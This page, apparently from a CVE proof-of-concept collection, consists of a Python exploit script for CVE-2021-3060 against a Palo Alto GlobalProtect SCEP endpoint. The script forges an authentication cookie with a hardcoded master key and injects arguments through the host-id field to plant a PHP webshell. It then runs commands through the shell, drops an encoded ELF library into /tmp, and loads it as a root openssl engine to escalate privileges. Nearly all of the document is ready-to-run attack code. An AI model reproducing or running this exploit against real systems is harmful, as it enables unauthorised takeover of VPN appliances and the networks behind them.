4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2021-3060.py PY
from hashlib import md5, sha1
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import base64
import sys
import time
import requests

DEFAULT_MASTERKEY = b'p1a2l3o4a5l6t7o8'
lib = base64.b64decode("f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAgAAAAYAAAAYAAAAAAAAAFgAAAAAAAAAcnF1ICgtOAACADH2Vki7L3RtcC9oYXhTVF/37rA7DwUBAAAABwAAAAUAAAAAAAAABQAAAAAAAAAMAAAAAAAAADoAAAAAAAAABgAAAAAAAAAAAAAAAAAAAA==")
cmd = """#!/bin/bash
id>/var/appweb/sslvpndocs/test
"""

class PanCrypt:
    def __init__(self, key=DEFAULT_MASTERKEY):
        backend = default_backend()
        key = self._derivekey(key)
        self.c = Cipher(algorithms.AES(key), modes.CBC(b'\0' * 16), backend=backend)

    def _derivekey(self, key):
        salt = b'\x75\xb8\x49\x83\x90\xbc\x2a\x65\x9c\x56\x93\xe7\xe5\xc5\xf0\x24'  # md5("pannetwork")
        return md5(key + salt).digest() * 2

    def _pad(self, d):
        plen = 16 - (len(d) % 16)
        return d + bytes([plen] * plen)

    def _encrypt(self, data):
        e = self.c.encryptor()
        return e.update(self._pad(data)) + e.finalize()

    def encrypt(self, data):
        v = base64.b64encode(b'AQ==')  # version 1
        hash = base64.b64encode(sha1(data).digest())
        ct = base64.b64encode(self._encrypt(data))
        return b'-' + v + hash + ct

def scepRequest(host, spn, hostid, email="[email protected]", user="test"):
    expiry = bytes(str(int(time.time()) + 1000000), 'utf-8')
    user_bytes = user.encode('utf-8')  # Convert user to bytes
    hostid_bytes = hostid.encode('utf-8')  # Convert hostid to bytes
    token_pt = b":".join((expiry, user_bytes, hostid_bytes))
    token = PanCrypt().encrypt(token_pt)
    payload = "scep-profile-name={}&user-email={}&user={}&host-id={}&appauthcookie={}".format(spn, email, user, hostid, token.decode('utf-8'))
    r = requests.get(host, data=payload, headers={"content-type": "application/x-www-form-urlencoded"}, verify=False)
    return r

def makewebshell(host, spn):
    # webshell created: execute commands as `nobody` with GET /a.php?0=cmd
    hostid = 'test" "-e" "yes" "-h" "<?php passthru\\(\\$_GET[0]\\);?>" "-c" "RSA:512  -text -out /var/appweb/sslvpndocs/a.php'
    return scepRequest(host + "/sslmgr", spn, hostid)

def runcmd(host, cmd):
    # run a command with the low-priv webshell
    cmd = requests.utils.quote(cmd)
    return requests.get(host + "/a.php?0=" + cmd, verify=False)

def runlib(host, spn):
    # load /tmp/lib.so as an openssl engine, with openssl running as root
    hostid = 'test" "-e" "yes" "-m" "sha1 -engine /tmp/lib.so'
    return scepRequest(host + "/sslmgr", spn, hostid)

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("usage: cve-2021-3060.py <host> <scep profile name>")
    host = sys.argv[1]
    spn = sys.argv[2]

    if len(sys.argv) > 2:
        spn = sys.argv[2]

    if "http" not in host:
        host = "https://" + host

    makewebshell(host, spn)
    print(runcmd(host, "id").text)
    runcmd(host, "echo {}|base64 -d>/tmp/lib.so".format(lib))
    #runcmd(host, "echo {}|base64 -d>/tmp/hax".format(cmd.decode('utf-8')))
    runcmd(host, "echo {}|base64 -d>/tmp/hax".format(cmd))
    runcmd(host, "chmod 777 /tmp/hax")
    runlib(host, spn)
    print(requests.get(host + "/test", verify=False).text)